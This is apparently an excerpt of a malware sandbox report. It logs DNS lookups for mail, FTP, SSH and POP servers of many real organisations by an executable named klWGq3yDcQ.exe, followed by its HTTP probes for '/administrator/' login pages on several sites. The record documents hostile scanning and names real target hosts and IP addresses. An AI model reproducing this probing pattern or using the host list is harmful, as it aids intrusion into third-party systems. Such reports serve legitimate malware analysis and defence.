Nov 26, 2023 06:59:58.413649082 CET	1.1.1.1	192.168.2.4	0xc03b	No error (0)	gmailvz-com.mail.protection.outlook.com		52.101.40.6	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.413649082 CET	1.1.1.1	192.168.2.4	0xc03b	No error (0)	gmailvz-com.mail.protection.outlook.com		52.101.11.3	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.413649082 CET	1.1.1.1	192.168.2.4	0xc03b	No error (0)	gmailvz-com.mail.protection.outlook.com		52.101.8.46	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.413649082 CET	1.1.1.1	192.168.2.4	0xc03b	No error (0)	gmailvz-com.mail.protection.outlook.com		52.101.42.13	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.413649082 CET	1.1.1.1	192.168.2.4	0xc03b	No error (0)	gmailvz-com.mail.protection.outlook.com		52.101.42.6	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.413649082 CET	1.1.1.1	192.168.2.4	0xc03b	No error (0)	gmailvz-com.mail.protection.outlook.com		52.101.9.2	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.419878960 CET	1.1.1.1	192.168.2.4	0x19de	No error (0)	esoft-academy.mail.eo.outlook.com		52.101.137.0	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.419878960 CET	1.1.1.1	192.168.2.4	0x19de	No error (0)	esoft-academy.mail.eo.outlook.com		52.101.132.28	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.419878960 CET	1.1.1.1	192.168.2.4	0x19de	No error (0)	esoft-academy.mail.eo.outlook.com		52.101.137.2	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.419878960 CET	1.1.1.1	192.168.2.4	0x19de	No error (0)	esoft-academy.mail.eo.outlook.com		52.101.132.30	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.445213079 CET	1.1.1.1	192.168.2.4	0xa1de	No error (0)	grg17geblergasse-at.mail.protection.outlook.com		52.101.73.11	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.445213079 CET	1.1.1.1	192.168.2.4	0xa1de	No error (0)	grg17geblergasse-at.mail.protection.outlook.com		52.101.73.2	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.445213079 CET	1.1.1.1	192.168.2.4	0xa1de	No error (0)	grg17geblergasse-at.mail.protection.outlook.com		52.101.73.8	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.445213079 CET	1.1.1.1	192.168.2.4	0xa1de	No error (0)	grg17geblergasse-at.mail.protection.outlook.com		52.101.73.15	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.445213079 CET	1.1.1.1	192.168.2.4	0xa1de	No error (0)	grg17geblergasse-at.mail.protection.outlook.com		52.101.73.30	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.445213079 CET	1.1.1.1	192.168.2.4	0xa1de	No error (0)	grg17geblergasse-at.mail.protection.outlook.com		52.101.68.0	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.445213079 CET	1.1.1.1	192.168.2.4	0xa1de	No error (0)	grg17geblergasse-at.mail.protection.outlook.com		52.101.68.16	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.446877956 CET	1.1.1.1	192.168.2.4	0x8ab0	No error (0)	engelfirm-com01c.mail.protection.outlook.com		52.101.9.17	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.446877956 CET	1.1.1.1	192.168.2.4	0x8ab0	No error (0)	engelfirm-com01c.mail.protection.outlook.com		52.101.11.9	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.446877956 CET	1.1.1.1	192.168.2.4	0x8ab0	No error (0)	engelfirm-com01c.mail.protection.outlook.com		52.101.40.1	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.446877956 CET	1.1.1.1	192.168.2.4	0x8ab0	No error (0)	engelfirm-com01c.mail.protection.outlook.com		52.101.42.6	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.446877956 CET	1.1.1.1	192.168.2.4	0x8ab0	No error (0)	engelfirm-com01c.mail.protection.outlook.com		52.101.9.0	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.446877956 CET	1.1.1.1	192.168.2.4	0x8ab0	No error (0)	engelfirm-com01c.mail.protection.outlook.com		52.101.42.13	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.446877956 CET	1.1.1.1	192.168.2.4	0x8ab0	No error (0)	engelfirm-com01c.mail.protection.outlook.com		52.101.8.42	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.452420950 CET	1.1.1.1	192.168.2.4	0x9508	No error (0)	chandigarhuniversityazure.mail.protection.outlook.com		52.101.42.6	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.452420950 CET	1.1.1.1	192.168.2.4	0x9508	No error (0)	chandigarhuniversityazure.mail.protection.outlook.com		52.101.9.5	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.452420950 CET	1.1.1.1	192.168.2.4	0x9508	No error (0)	chandigarhuniversityazure.mail.protection.outlook.com		52.101.42.13	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.452420950 CET	1.1.1.1	192.168.2.4	0x9508	No error (0)	chandigarhuniversityazure.mail.protection.outlook.com		52.101.8.36	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.452420950 CET	1.1.1.1	192.168.2.4	0x9508	No error (0)	chandigarhuniversityazure.mail.protection.outlook.com		52.101.9.12	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.452420950 CET	1.1.1.1	192.168.2.4	0x9508	No error (0)	chandigarhuniversityazure.mail.protection.outlook.com		52.101.8.46	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.463231087 CET	1.1.1.1	192.168.2.4	0xf38d	No error (0)	ceuandalucia-es.mail.protection.outlook.com		52.101.73.6	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.463231087 CET	1.1.1.1	192.168.2.4	0xf38d	No error (0)	ceuandalucia-es.mail.protection.outlook.com		52.101.68.21	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.463231087 CET	1.1.1.1	192.168.2.4	0xf38d	No error (0)	ceuandalucia-es.mail.protection.outlook.com		52.101.73.1	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.463231087 CET	1.1.1.1	192.168.2.4	0xf38d	No error (0)	ceuandalucia-es.mail.protection.outlook.com		52.101.73.15	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.463231087 CET	1.1.1.1	192.168.2.4	0xf38d	No error (0)	ceuandalucia-es.mail.protection.outlook.com		52.101.68.32	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.463231087 CET	1.1.1.1	192.168.2.4	0xf38d	No error (0)	ceuandalucia-es.mail.protection.outlook.com		52.101.73.11	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.463231087 CET	1.1.1.1	192.168.2.4	0xf38d	No error (0)	ceuandalucia-es.mail.protection.outlook.com		52.101.68.18	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.464421988 CET	1.1.1.1	192.168.2.4	0xcf29	No error (0)	celogic-com0e.mail.protection.outlook.com		52.101.132.30	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.464421988 CET	1.1.1.1	192.168.2.4	0xcf29	No error (0)	celogic-com0e.mail.protection.outlook.com		52.101.137.0	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.464421988 CET	1.1.1.1	192.168.2.4	0xcf29	No error (0)	celogic-com0e.mail.protection.outlook.com		52.101.137.2	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.464421988 CET	1.1.1.1	192.168.2.4	0xcf29	No error (0)	celogic-com0e.mail.protection.outlook.com		52.101.132.28	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.497616053 CET	1.1.1.1	192.168.2.4	0xf13c	No error (0)	c47ab644ec7e3f14.mx1.emailprofi.seznam.cz		77.75.77.56	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.498701096 CET	1.1.1.1	192.168.2.4	0x850a	No error (0)	my-calvary-qld-edu-au.mail.protection.outlook.com		104.47.71.138	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.498701096 CET	1.1.1.1	192.168.2.4	0x850a	No error (0)	my-calvary-qld-edu-au.mail.protection.outlook.com		104.47.71.202	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.504620075 CET	1.1.1.1	192.168.2.4	0xa599	No error (0)	upn-pe.mail.protection.outlook.com		52.101.40.4	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.504620075 CET	1.1.1.1	192.168.2.4	0xa599	No error (0)	upn-pe.mail.protection.outlook.com		52.101.9.5	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.504620075 CET	1.1.1.1	192.168.2.4	0xa599	No error (0)	upn-pe.mail.protection.outlook.com		52.101.8.42	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.504620075 CET	1.1.1.1	192.168.2.4	0xa599	No error (0)	upn-pe.mail.protection.outlook.com		52.101.11.3	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.504620075 CET	1.1.1.1	192.168.2.4	0xa599	No error (0)	upn-pe.mail.protection.outlook.com		52.101.42.4	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.504620075 CET	1.1.1.1	192.168.2.4	0xa599	No error (0)	upn-pe.mail.protection.outlook.com		52.101.40.24	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.504620075 CET	1.1.1.1	192.168.2.4	0xa599	No error (0)	upn-pe.mail.protection.outlook.com		52.101.42.9	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.509365082 CET	1.1.1.1	192.168.2.4	0x7dc	No error (0)	talentius-com.mail.protection.outlook.com		104.47.17.74	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.509365082 CET	1.1.1.1	192.168.2.4	0x7dc	No error (0)	talentius-com.mail.protection.outlook.com		104.47.17.138	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.555350065 CET	1.1.1.1	192.168.2.4	0x5015	No error (0)	killicit.com		35.169.59.174	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.555350065 CET	1.1.1.1	192.168.2.4	0x5015	No error (0)	killicit.com		54.161.234.33	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.705801964 CET	1.1.1.1	192.168.2.4	0xe2f4	No error (0)	ftp.federwild.at		185.183.156.218	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:01.233400106 CET	1.1.1.1	192.168.2.4	0x419a	Name error (3)	ssh.hmichaelandco.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:01.352686882 CET	1.1.1.1	192.168.2.4	0xf8e8	No error (0)	ssh.viidelta.com		89.31.143.1	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:01.421770096 CET	1.1.1.1	192.168.2.4	0x8aa1	Name error (3)	ssh.rochester-gauges.be	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:04.767878056 CET	1.1.1.1	192.168.2.4	0x871c	No error (0)	ftp.bunasta.eu		192.168.1.13	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:04.768309116 CET	1.1.1.1	192.168.2.4	0x3726	Name error (3)	ssh.bunasta.eu	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:04.798146963 CET	1.1.1.1	192.168.2.4	0x467b	No error (0)	mail.webstamp.ca		72.167.58.161	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:05.271637917 CET	1.1.1.1	192.168.2.4	0xd94b	Name error (3)	ftp.mdystudent.net	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:05.272931099 CET	1.1.1.1	192.168.2.4	0xf86f	No error (0)	ftp.midcapfunding.com	midcapfunding.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2023 07:00:05.272931099 CET	1.1.1.1	192.168.2.4	0xf86f	No error (0)	midcapfunding.com		15.197.142.173	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:05.272931099 CET	1.1.1.1	192.168.2.4	0xf86f	No error (0)	midcapfunding.com		3.33.152.147	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:05.335047007 CET	1.1.1.1	192.168.2.4	0xc00e	Name error (3)	ftp.gmailvz.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:05.379421949 CET	1.1.1.1	192.168.2.4	0x9f87	Name error (3)	ftp.svenssonfriends.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:05.382993937 CET	1.1.1.1	192.168.2.4	0x2362	Name error (3)	ftp.nyklawfirm.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:05.387218952 CET	1.1.1.1	192.168.2.4	0x9524	Name error (3)	ftp.leeberg.dk	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:05.412552118 CET	1.1.1.1	192.168.2.4	0xbe72	No error (0)	ftp.quipuapp.com		15.236.29.106	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:05.412552118 CET	1.1.1.1	192.168.2.4	0xbe72	No error (0)	ftp.quipuapp.com		15.236.187.69	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:05.421633005 CET	1.1.1.1	192.168.2.4	0x378e	Name error (3)	ftp.dstaq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:05.451358080 CET	1.1.1.1	192.168.2.4	0x62e0	No error (0)	ftp.robinsonland.com	traff-2.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2023 07:00:05.451358080 CET	1.1.1.1	192.168.2.4	0x62e0	No error (0)	traff-2.hugedomains.com	hdr-nlb5-4e815dd67a14bf7f.elb.us-east-2.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2023 07:00:05.451358080 CET	1.1.1.1	192.168.2.4	0x62e0	No error (0)	hdr-nlb5-4e815dd67a14bf7f.elb.us-east-2.amazonaws.com		3.130.253.23	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:05.451358080 CET	1.1.1.1	192.168.2.4	0x62e0	No error (0)	hdr-nlb5-4e815dd67a14bf7f.elb.us-east-2.amazonaws.com		3.130.204.160	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:05.452147961 CET	1.1.1.1	192.168.2.4	0xaaae	No error (0)	mail.robinsonland.com	traff-3.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2023 07:00:05.452147961 CET	1.1.1.1	192.168.2.4	0xaaae	No error (0)	traff-3.hugedomains.com	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2023 07:00:05.452147961 CET	1.1.1.1	192.168.2.4	0xaaae	No error (0)	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		3.19.116.195	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:05.452147961 CET	1.1.1.1	192.168.2.4	0xaaae	No error (0)	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		3.18.7.81	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:05.454937935 CET	1.1.1.1	192.168.2.4	0xb585	No error (0)	ftp.saudi-jamac.com	saudi-jamac.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2023 07:00:05.454937935 CET	1.1.1.1	192.168.2.4	0xb585	No error (0)	saudi-jamac.com		76.223.105.230	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:05.454937935 CET	1.1.1.1	192.168.2.4	0xb585	No error (0)	saudi-jamac.com		13.248.243.5	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:05.486953020 CET	1.1.1.1	192.168.2.4	0xb540	Name error (3)	ftp.2brosandahosepressurewashing.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:05.494746923 CET	1.1.1.1	192.168.2.4	0x6d5	Name error (3)	ftp.esoft.academy	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:05.629298925 CET	1.1.1.1	192.168.2.4	0x976	No error (0)	ftp.srmist.edu.in		103.4.223.180	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:05.785583019 CET	1.1.1.1	192.168.2.4	0xc50c	Name error (3)	ftp.killicit.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:05.886678934 CET	1.1.1.1	192.168.2.4	0x7d7b	Name error (3)	ftp.linkan-group.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:05.919763088 CET	1.1.1.1	192.168.2.4	0x6f9c	Name error (3)	ftp.rdelealtad.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:05.919853926 CET	1.1.1.1	192.168.2.4	0x32a4	Name error (3)	mail.ibright.net	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:05.982625008 CET	1.1.1.1	192.168.2.4	0x95b0	Name error (3)	ftp.greenrworld.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:06.085360050 CET	1.1.1.1	192.168.2.4	0xc20c	No error (0)	mail.macisis.co.uk	mail.totalise.co.uk		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2023 07:00:06.085360050 CET	1.1.1.1	192.168.2.4	0xc20c	No error (0)	mail.totalise.co.uk		212.159.9.240	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:06.085360050 CET	1.1.1.1	192.168.2.4	0xc20c	No error (0)	mail.totalise.co.uk		212.159.8.240	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:06.156301022 CET	1.1.1.1	192.168.2.4	0xb2d8	Name error (3)	pop.ibright.net	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:06.257525921 CET	1.1.1.1	192.168.2.4	0x6b9e	Name error (3)	pop.edgewater.group	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:06.367352962 CET	1.1.1.1	192.168.2.4	0xb368	Name error (3)	pop3.ibright.net	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:06.469705105 CET	1.1.1.1	192.168.2.4	0x28a5	Name error (3)	ftp.hightideinc.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:06.488642931 CET	1.1.1.1	192.168.2.4	0x31ba	No error (0)	smtp.secureserver.net		68.178.213.203	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:06.488642931 CET	1.1.1.1	192.168.2.4	0x31ba	No error (0)	smtp.secureserver.net		216.69.141.81	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:06.488642931 CET	1.1.1.1	192.168.2.4	0x31ba	No error (0)	smtp.secureserver.net		68.178.213.37	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:06.500859022 CET	1.1.1.1	192.168.2.4	0xe3d6	Name error (3)	pop3.edgewater.group	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:06.509489059 CET	1.1.1.1	192.168.2.4	0x920f	No error (0)	d405642.b.ess.ca.barracudanetworks.com		15.222.16.209	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:06.509489059 CET	1.1.1.1	192.168.2.4	0x920f	No error (0)	d405642.b.ess.ca.barracudanetworks.com		15.222.16.210	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:06.509489059 CET	1.1.1.1	192.168.2.4	0x920f	No error (0)	d405642.b.ess.ca.barracudanetworks.com		15.222.16.211	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:06.556166887 CET	1.1.1.1	192.168.2.4	0x8060	No error (0)	mail.townshipnjr.com		66.81.203.8	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:06.556166887 CET	1.1.1.1	192.168.2.4	0x8060	No error (0)	mail.townshipnjr.com		66.81.203.198	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:06.556166887 CET	1.1.1.1	192.168.2.4	0x8060	No error (0)	mail.townshipnjr.com		66.81.203.133	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:06.570472002 CET	1.1.1.1	192.168.2.4	0xb96a	No error (0)	mx2.improvmx.com		13.36.107.63	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:06.570472002 CET	1.1.1.1	192.168.2.4	0xb96a	No error (0)	mx2.improvmx.com		13.36.222.39	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:06.570472002 CET	1.1.1.1	192.168.2.4	0xb96a	No error (0)	mx2.improvmx.com		15.236.61.92	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:06.608361006 CET	1.1.1.1	192.168.2.4	0xd3e4	Name error (3)	mailgate.ibright.net	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:06.860806942 CET	1.1.1.1	192.168.2.4	0xbfe0	Name error (3)	relay.ibright.net	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:06.896809101 CET	1.1.1.1	192.168.2.4	0xf067	Name error (3)	mailgate.edgewater.group	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:06.961405039 CET	1.1.1.1	192.168.2.4	0x57c8	No error (0)	ftp.townshipnjr.com		66.81.203.198	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:06.961405039 CET	1.1.1.1	192.168.2.4	0x57c8	No error (0)	ftp.townshipnjr.com		66.81.203.8	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:06.961405039 CET	1.1.1.1	192.168.2.4	0x57c8	No error (0)	ftp.townshipnjr.com		66.81.203.133	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:07.109780073 CET	1.1.1.1	192.168.2.4	0x4475	Name error (3)	relay.edgewater.group	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:08.056340933 CET	1.1.1.1	192.168.2.4	0x7535	No error (0)	ftp.americanrecords.it	americanrecords.it		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2023 07:00:08.056340933 CET	1.1.1.1	192.168.2.4	0x7535	No error (0)	americanrecords.it		109.168.109.224	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:08.071517944 CET	1.1.1.1	192.168.2.4	0xb980	Name error (3)	ftp.talentius.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:08.103125095 CET	1.1.1.1	192.168.2.4	0xbef0	No error (0)	mail.grg17geblergasse.at		81.19.149.83	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:08.243297100 CET	1.1.1.1	192.168.2.4	0x3768	No error (0)	jamiesonmullin-com.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:08.243297100 CET	1.1.1.1	192.168.2.4	0x3768	No error (0)	jamiesonmullin-com.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:08.254494905 CET	1.1.1.1	192.168.2.4	0x1607	No error (0)	ibright-net.mail.protection.outlook.com		104.47.59.138	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:08.254494905 CET	1.1.1.1	192.168.2.4	0x1607	No error (0)	ibright-net.mail.protection.outlook.com		104.47.55.138	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:08.399961948 CET	1.1.1.1	192.168.2.4	0x8e55	Name error (3)	mail.maxiv.lu.se	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:08.415282011 CET	1.1.1.1	192.168.2.4	0x4d2b	No error (0)	ftp.daisyokogyo.co.jp		202.226.37.158	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:08.436640978 CET	1.1.1.1	192.168.2.4	0xd94a	Name error (3)	ftp.digdig.org	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:09.121491909 CET	1.1.1.1	192.168.2.4	0x4f8a	No error (0)	ftp.esistem.com.br	web202.uni5.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2023 07:00:09.121491909 CET	1.1.1.1	192.168.2.4	0x4f8a	No error (0)	web202.uni5.net		191.6.210.8	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:09.121505022 CET	1.1.1.1	192.168.2.4	0x4f8a	No error (0)	ftp.esistem.com.br	web202.uni5.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2023 07:00:09.121505022 CET	1.1.1.1	192.168.2.4	0x4f8a	No error (0)	web202.uni5.net		191.6.210.8	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	51311	23.185.0.1	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:28.863420963 CET	228	OUT	GET /administrator/ HTTP/1.1 Host: avient.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:28.985487938 CET	787	IN	HTTP/1.1 301 Moved Permanently Connection: keep-alive Content-Length: 162 Content-Type: text/html Location: https://avient.com/administrator/ Server: nginx X-Pantheon-Styx-Hostname: styx-fe1-b-7645784b77-7fc27 X-Styx-Req-Id: a0e05447-8c1c-11ee-b644-629e51a2f0c1 Cache-Control: public, max-age=86400 Date: Sun, 26 Nov 2023 05:59:28 GMT X-Served-By: cache-chi-klot8100069-CHI, cache-ewr18143-EWR X-Cache: HIT, MISS X-Cache-Hits: 1, 0 X-Timer: S1700978369.905548,VS0,VE22 Vary: Cookie, Cookie Age: 1861 Accept-Ranges: bytes Via: 1.1 varnish, 1.1 varnish Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	51769	44.219.53.183	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:29.055126905 CET	230	OUT	GET /administrator/ HTTP/1.1 Host: killicit.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:29.150309086 CET	345	IN	HTTP/1.1 301 Moved Permanently Content-Type: text/plain; charset=utf-8 Date: Sun, 26 Nov 2023 05:59:29 GMT Location: https://killicit.com/administrator/ Server: Netlify X-Nf-Request-Id: 01HG53C8J4DTHG4X0QNX3HCHF8 Content-Length: 50 Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 73 3a 2f 2f 6b 69 6c 6c 69 63 69 74 2e 63 6f 6d 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f Data Ascii: Redirecting to https://killicit.com/administrator/
Nov 26, 2023 06:59:29.566021919 CET	239	OUT	GET /administrator/index.php HTTP/1.1 Host: killicit.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:29.659729958 CET	363	IN	HTTP/1.1 301 Moved Permanently Content-Type: text/plain; charset=utf-8 Date: Sun, 26 Nov 2023 05:59:29 GMT Location: https://killicit.com/administrator/index.php Server: Netlify X-Nf-Request-Id: 01HG53C921EAP2H5QF0R67Z82S Content-Length: 59 Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 73 3a 2f 2f 6b 69 6c 6c 69 63 69 74 2e 63 6f 6d 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 69 6e 64 65 78 2e 70 68 70 Data Ascii: Redirecting to https://killicit.com/administrator/index.php

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	51765	3.33.130.190	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:29.055314064 CET	232	OUT	GET /administrator/ HTTP/1.1 Host: mdystudent.net Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
